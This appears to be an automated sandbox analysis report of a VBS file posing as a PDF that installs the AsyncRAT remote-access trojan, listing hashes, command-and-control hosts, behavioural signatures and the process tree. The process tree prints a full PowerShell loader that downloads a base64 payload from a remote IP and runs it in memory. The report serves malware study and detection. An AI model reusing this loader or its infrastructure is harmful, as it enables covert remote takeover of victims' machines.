Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
27-09-2022 19:45
Static task
static1
Behavioral task
behavioral1
Sample
TV06KSFYOU_002_PDF.vbs
Resource
win7-20220812-en
General
-
Target
TV06KSFYOU_002_PDF.vbs
-
Size
577KB
-
MD5
92be06b804449682d272f3afc76aca5f
-
SHA1
f575b8712aa0f0720b6ad981ca8bbe682badd1d8
-
SHA256
e596d827af9b25d8348caffa981f5ef4a6ea88bfcfb35e5a5d2d337d6bf90aa9
-
SHA512
09b067ad4507a7efbd075a3d8400e63627d62d4bf9e542fb527755eac71240e556ae9b4f45e408e2b4d9dfe42688c18b9dd0a4007ca23dc77d8d16449808068c
-
SSDEEP
96:vHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHA:cKLosxvRG
Malware Config
Extracted
http://20.7.14.99/dll/dll_ink.pdf
Extracted
asyncrat
0.5.7B
Default
petersonsherian7.duckdns.org:6739
petersonsherian7.duckdns.org:7301
petersonsherian7.duckdns.org:7808
petersonsherian7.duckdns.org:8333
AsyncMutex_6SI8OkPnk
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Async RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4960-138-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat behavioral2/memory/4960-139-0x000000000040C75E-mapping.dmp asyncrat -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 520 powershell.exe 8 520 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 520 set thread context of 4960 520 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 520 powershell.exe 520 powershell.exe 4376 powershell.exe 4376 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 520 powershell.exe Token: SeDebugPrivilege 4376 powershell.exe Token: SeDebugPrivilege 4960 RegAsm.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 3352 wrote to memory of 520 3352 WScript.exe powershell.exe PID 3352 wrote to memory of 520 3352 WScript.exe powershell.exe PID 520 wrote to memory of 4376 520 powershell.exe powershell.exe PID 520 wrote to memory of 4376 520 powershell.exe powershell.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe PID 520 wrote to memory of 4960 520 powershell.exe RegAsm.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TV06KSFYOU_002_PDF.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('fdbd2471442d-d42a-e044-ff2d-d8c5491d=nekot&aidem=tla?txt.hdcnysaer/o/moc.topsppa.b3638-fhwen/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5eedeb218af57d184b7a06908d84e1f4f
SHA1da8c874abd286ac085f7105d3d9da30336b09509
SHA256f514ecbc9a8915c19aab328ecb319f730ddaf6d6d35cbf7b67bcdd00a4a75d80
SHA5123be9e8b318be85f46692414419847147d9be948e0178962e95ce32899c52a6f26ec94e464a69770bc7a212681f24657222eae14646e484b2d0423076784ec29c
-
memory/520-133-0x0000016147C60000-0x0000016147C82000-memory.dmpFilesize
136KB
-
memory/520-134-0x00007FFA02680000-0x00007FFA03141000-memory.dmpFilesize
10.8MB
-
memory/520-132-0x0000000000000000-mapping.dmp
-
memory/520-142-0x00007FFA02680000-0x00007FFA03141000-memory.dmpFilesize
10.8MB
-
memory/4376-135-0x0000000000000000-mapping.dmp
-
memory/4376-137-0x00007FFA02680000-0x00007FFA03141000-memory.dmpFilesize
10.8MB
-
memory/4376-136-0x00007FFA02680000-0x00007FFA03141000-memory.dmpFilesize
10.8MB
-
memory/4960-139-0x000000000040C75E-mapping.dmp
-
memory/4960-138-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4960-143-0x0000000005490000-0x000000000552C000-memory.dmpFilesize
624KB
-
memory/4960-144-0x0000000005C30000-0x00000000061D4000-memory.dmpFilesize
5.6MB
-
memory/4960-145-0x00000000056F0000-0x0000000005756000-memory.dmpFilesize
408KB